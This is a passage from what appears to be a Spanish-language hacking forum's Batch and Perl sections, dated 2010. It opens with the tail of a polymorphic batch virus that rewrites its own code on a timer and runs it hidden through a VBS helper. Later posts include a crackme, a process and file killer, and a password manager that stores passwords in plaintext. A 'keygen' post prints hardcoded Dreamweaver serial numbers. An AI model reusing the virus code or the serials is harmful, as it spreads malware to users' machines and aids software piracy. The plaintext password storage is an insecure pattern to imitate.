echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:b
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:C
find "molB" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
start run2.vbs
goto qep
:d
find "molF" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
start run2.vbs
goto qep
:e
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
start run2.vbs
goto qep
:f
find "mol5" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
start run2.vbs
goto qep


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#12
Batch - Bash / Encriptacion para batch
Febrero 24, 2010, 05:14:49 PM
Bueno tengo este code:

Código: php
 @echo off
Title Administrador de contraseñas
color 0A

:menu1
cls
echo Bienvenido/a
echo.
echo Que quieres hacer?
echo.
echo 1-Iniciar sesion
echo 2-Nuevo perfil
echo.
set /p opcion1=Introduce el numero de tu opcion -

if %opcion1%==1 goto inisesion
if %opcion1%==2 (goto new) else (goto er1)

:er1
cls
echo Numero incorrecto!
pause
goto menu1

:inisesion
if exist "C:\paswd.pwd" (for /f "tokens=*" %%a in (%homedrive%\paswd.pwd) do (set pwd=%%a))
echo Introduce tu pass para continuar:
set /p contraseña=
if %contraseña%==%pwd% goto menu2
echo Contraseña incorrecta !!
pause
goto menu1

:new
cls
echo Escribe tu nueva contraseña de perfil:
set /p pwd=
echo %pwd%>%homedrive%\paswd.pwd
pause
echo Contraseña guardada!!
pause>nul
:or
cls
echo Que desea hacer ahora?
echo.
echo 1-Mi perfil
echo 2-Salir
set /p rr=
if %rr%==1 goto menu2
if %rr%==2 goto salir
pause
echo No correcto!
pause
goto or

:menu2
cls
echo Que quieres hacer?
echo.
echo 1-Nueva contraseña
echo 2-Ver contraseñas
set /p opcion=
if %opcion%==1 goto crear
if %opcion%==2 goto ver
pause
echo Opcion no valida!
pause
goto menu2

:ver
pause
cls
type %homedrive%\datos.txt
echo.
pause
cls
goto salir

:crear
cls
if exist %homedrive%\datos.txt goto crear2
echo Escribe Tu contraseña de la siguiente forma:
echo.
echo LugarContraseña - Contraseña
echo Ej. msn - mipass
echo.
pause
echo Añade tu informacion:
set /p dato=
echo.%dato%>%homedrive%\datos.txt
pause
cls
echo Datos añadidos con exito!
pause
goto menu2

:crear2
cls
echo Escribe Tu contraseña de la siguiente forma:
echo.
echo LugarContraseña - Contraseña
echo Ej. msn - mipass
echo.
pause
echo Añade tu informacion:
set /p dato=
echo.%dato%>>%homedrive%\datos.txt

:salir
cls
echo Hasta tu proxima visita!
pause
exit



Bueno como podreis ver es un administrador de ontraseña, por lo que me gustaria encriptar cosas, lo que no se es si debe ser el archivo con los datos, o los datos del archivo XD

una ayuditaa...
#13
Batch - Bash / Crackme v7 - by xassiz
Febrero 24, 2010, 05:14:34 PM
Bueno, esto lo codeé para un duelo..

Código: php

@echo off
title Crackme v7 - by xassiz!
color 0c&mode con cols=32 lines=5
:main
cl%windir:~9,1%&echo.&echo.
for %%· %windir:~4,1%n (-,P,a,s,s,w,o,r,d) do @set/p =%%·<nul&>nul ping -n 1 127.1
set "var=" %windir:~0,6%="pass">nul
set /p "var=> "
%windir:~4,1%f;%windir:~5,1%%windir:~7,1%t;defined;var;(g%windir:~7,1%to:mai%windir:~5,1%)
%windir:~9,1%et -=%var:~-1%&got%windir:~7,1%:%windir:~5,1%ext
m%windir:~7,1%re/c<%windir:~5,1%ul&%windir:~9,1%et "var=%var: = _%"
%windir:~9,1%et ".=&"&call :%windir:~-3% %var:~0,-1%
cls&%windir:~-6,1%f;;["$.%.%.$"]==;["$.%..%.$"];(
echo.&echo.&echo.              Bien!
);else;(g%windir:~7,1%to:%windir:~5,1%ext)
pause>%windir:~5,1%ul
exit
:next
cl%windir:~9,1%&echo.&echo.&echo.              Mal!
pause>nul
goto:ma%windir:~4,1%n
:ows
%*>%windir:~5,1%ul;2>&1


Soluciones por MP :)

bytes ;)
#14
Batch - Bash / Mata procesos by cellu5 (batch)
Febrero 24, 2010, 05:14:09 PM
Saludos

aqui les dejo esta  aplicacion basica  que mata, abre procesos y borra archivos

espero que les guste ;)

Código: php

@echo off
title Mata procesos basico by cellu5
color a4
msg * Preferiblemente abre tu administrador de tareas para que mires tus procesos a matar

:principal
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1  º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo .
echo 1 matar procesos .exe
echo 2 abrir procesos  .exe
echo 3 Salir
echo que deseas hacer?:
set /P var=
cls
if %var%==1 (goto uno)
if %var%==2 (goto open)
if %var%=="" (goto principal)
if %var%==3 (goto salir)


:uno
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1  º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo 1 matar procesos .exe
echo 2 matar procesos en especial
echo 3 regesar al menu principal
echo que deseas hacer?:
set /p var1=
cls
if %var1%==1 (goto exe)
if %var1%==2 (goto pdt)
if %var1%==3 (goto principal)

:exe
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1  º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo escriba que procesos desea matar ej: explorer,notepad /sin escribir .exe/
set /p var2=

TASKKILL /f /im %var%.exe

pause

goto uno

:pdt
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - MATA PROCESOS V.1  º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Escriba el proceso en especial que deseas matar ej: msnmsgr.exe
set /p var3=

TASKKILL /f /im %var3%

pause
goto uno

:lista
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - ABRE PROCESOS V.1  º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo 1 lista de procesos que puedes abrir
echo 2 abrir proceso en especial
echo 3 regresar
echo que deseas hacer?:
set /P var7=
cls
if %var7%==1 (goto lista)
if %var7%==2 (goto esp)
if %var7%==3 (goto principal)

:open
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - ABRE PROCESOS V.1  º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.

echo 1- Abrir cmd
echo 2- Abrir registro
echo 3- Abrir Internet Explorer
echo 4- Abrir Mozilla Firefox
echo 5- Abrir msn
echo 6- Abrir calculadora
echo 7- Abrir Microsoft Office Word
echo 8- Abrir Administrador de tareas de windows
echo 9- Abrir archivo especificado
echo 10- Abrir notepad
echo 11- Reiniciar pc en 45 segundos
echo 12- Apagar pc en 45 segundos
echo 13- Abrir pagina de internet
echo 14- Borrar alguna carpeta o archivo
echo 15- Regresar
set /p opc=
cls
if %opc%==1 goto cmd
if %opc%==2 goto regedit
if %opc%==3 goto iexplore
if %opc%==4 goto firefox
if %opc%==5 goto msnmsgr
if %opc%==6 goto calc
if %opc%==7 goto WINWORD
if %opc%==8 goto taskmgr
if %opc%==9 goto abir
if %opc%==10 goto notepad
if %opc%==11 goto reinicio
if %opc%==12 goto apagado
if %opc%==13 goto int
if %opc%==14 goto del
if %opc%==15 goto lista

:cmd
start cmd.exe
echo CMD abierto
pause
goto open
:regedit
start regedit.exe
cls
echo Registro abierto
pause
goto open
:iexplore
start iexplore.exe
cls
echo Internet Explorer abierto
pause
goto open
:firefox
start firefox.exe
cls
echo Mozilla firefox abierto
pause
goto open
:msnmsgr
start msnmsgr.exe
cls
echo Messenger abierto
pause
goto open
:calc
start calc.exe
cls
echo Calculadora abierta has tus cuentas
pause
goto open
:WINWORD
start WINWORD.exe
cls
echo Microsoft Office Word abierto
pause
goto open
:taskmgr
start taskmgr.exe
cls
echo Administrador de tareas de windows abierto
pause
goto open
:abir
cls
echo Introduce la ruta del archivo a abrir
set /p start=
start %start%
cls
echo Archivo %start% abierto
pause
goto open
:notepad
start notepad.exe
cls
echo Notepad abierto
pause
goto open
:reinicio
cls
shutdown -r -f -t 45
echo Ok pc reiniciandose - si quieres cancelar la opreacion
echo ve a inicio y ejecutar
echo y escribe: shutdown -a
pause
goto open
:apagado
cls
shutdown -s -t 45
echo Pc apagandose - si quieres cancelar la operación
echo ve a inicio y ejecutar
echo y escribe: shutdown -a
pause
goto open
:int
set /p var5= Ingresa la direccion de la web, ejemplo: [url=http://www.hackxcrack.es]http://www.hackxcrack.es[/url]
explorer %var5%
pause
cls
goto open
:del
set /p var6= Ingresa la ruta del archivo o carpeta que quiera borrar:
del /q /f %var6%
cls
goto open
:esp
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - ABRE PROCESOS V.1  º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Escriba el proceso en especial que deseas abrir ej: oficce.exe
set /p var4=

start %var4%
cls
echo Proceso %var4% abierto
pause

goto lista

:salir
exit





Mas adelante mas funciones
#15
Batch - Bash / Estilo Matrix mas sencillo
Febrero 24, 2010, 05:13:58 PM
Esto lo vi en otro foro aunque el code tenia un problema y lo corregi. Aqui lo tienen:

Código: batch

@echo off
color 0A
REM MAtrix en batch.. muy sencillito.
:xxx
ping localhost -n 1 > nul
FOR %%A IN (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) DO (
<nul set /p "=%random:~4% "
<nul set /p "=%%A "
)
goto xxx


Esta muy bueno como para ponerlo de intro en sus proximos scripts ;). Usen su imaginacion.

#16
Hola, que tal, tenía tiempo que no posteaba aca en Batch, esta vez les traigo una super idea que no he visto en ningún lado.
Se trata de un KeyGen en Batch [Suena totalmente estupido pero lleva su tiempo hacerlo], estuve trabajando en esto pero me enrede sinceramente así que les suelto el source de lo que hice para que ustedes terminen.

Lo diferente de todo esto es que como es un KeyGen pues utilizarémos el Mouse, ejemplo daremos click en Generar y saldra el Serial etc. aca esta:

Código: php
@Echo off
(
echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo g116
echo q
)>Zmouse.txt
::
:: by 3D1
:: moded by xassiz
::
Mode Con Cols=80 lines=25
SetLocal ENABLEDELAYEDEXPANSION
:portada
cls
Echo                                                                          [Salir]
Echo.
Echo.
Echo.
Echo                         Escoje el programa:
Echo.
Echo.
Echo               +---------------+        +---------------+
Echo               + Dreamweaver 8 +        +    Flash 8    +
Echo               +---------------+        +---------------+
:g
del /q/a/s/f ZDats>nul 2>&1
debug< Zmouse.txt |find /i "x">ZDats
call:x
call:y
call:mous "0015 0016 0017 0018 0019 001A 001B 001C" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (goto dreamweaver)
Call:mous "0027 0028 0029 002A 002B 002C 002D 002E" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (echo. Usted escogio Flash 8!!!&echo.&pause>nul&goto flash)
Call:mous "004E" "%CX%" "0000" "%DX%"
if %state% EQU OK (Exit)
)
goto dreamweaver
:dreamweaver
cls
Echo                                                                          [Salir]
Echo.
Echo.
Echo.
Echo                         Escoje el programa:
Echo.
Echo.
Echo               +---------------+        +---------------+
Echo               +    Generar    +        +    Cancelar   +
Echo               +---------------+        +---------------+
del /q/a/s/f ZDats>nul 2>&1
debug< Zmouse.txt |find /i "x">ZDats
call:x
call:y
call:mous "0019 0020 0021 0022 0023 001A 001B 001C" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (echo. WPD800-55539-73132-87733!!!)
Call:mous "0029 0030 0031 002A 002B 002C 002D 002E" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (exit)
Call:mous "004E" "%CX%" "0000" "%DX%"
if %state% EQU OK (Exit)
)
goto 2

:2
pause
cls
Echo                                                                          [Salir]
Echo.
Echo.
Echo.
Echo                         Escoje el programa:
Echo.
Echo.
Echo               +---------------+        +---------------+
Echo               +    Generar    +        +    Cancelar   +
Echo               +---------------+        +---------------+
del /q/a/s/f ZDats>nul 2>&1
debug< Zmouse.txt |find /i "x">ZDats
call:x
call:y
call:mous "0015 0016 0017 0018 0019 001A 001B 001C" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (echo. WPD800-52234-85132-68504!!!)
Call:mous "0027 0028 0029 002A 002B 002C 002D 002E" "%CX%" "0007 0008 0009" "%DX%"
if %state% EQU OK (exit)
Call:mous "004E" "%CX%" "0000" "%DX%"
if %state% EQU OK (Exit)
)


:X
Set /p LineCode=<ZDats
for /f "Tokens=3" %%_ in ('Type ZDats') do (
Set %%_
Goto:eof
)

:Y
Set /p LineCode=<ZDats
for /f "Tokens=4" %%_ in ('Type ZDats') do (
Set %%_
Goto:eof
)


:mous
Set DMous=%2
Set DMous=!DMous!%4
for %%m in (%~1) do (
   for %%n in (%~3) do (
      if !DMous! EQU "%%m""%%n" (
         Set state=OK
         Set CX=0000
         Set DX=0000
         Goto:eof
      ) ELSE (
         Set state=NO
      )
   )
)
Goto:eof


Algunas partes estan mal pero un KeyGen en Batch pasaría a la historia, denle una checadita y traten de terminarlo ya que realmente a mi me dio pereza y me puse a crear otras cosas en PHP.

Saludos y suerte.

Xt3mP
#17
Perl / Aprendiendo a usar cookies
Febrero 24, 2010, 04:42:01 PM
Aprendiendo a usar cookies

En este tutorial enseñamos a trabajar las cookies de una forma fácil, rápida y segura a traves de 2 simples funciones.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





bytes ;)
#18
Perl / Uso de loops
Febrero 24, 2010, 04:41:50 PM
Uso de loops

Aprende a usar los loops que puedes usar en perl con este No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


bytes ;)
#19
Perl / Envío de mensajes de email
Febrero 24, 2010, 04:41:39 PM
Envío de mensajes de email

Aprende a envíar mensaje de correo eléctronico por medio de perl con este sencillo tutorial.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





bytes ;)
#20
Perl / Guardar imagenes en una base de datos
Febrero 24, 2010, 04:41:00 PM
Guardar imagenes en una base de datos

Aprende como puedes guardar imagenes en una base de datos para después llamarlas y desplegarlas, con este sencillo tutorial.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





bytes ;)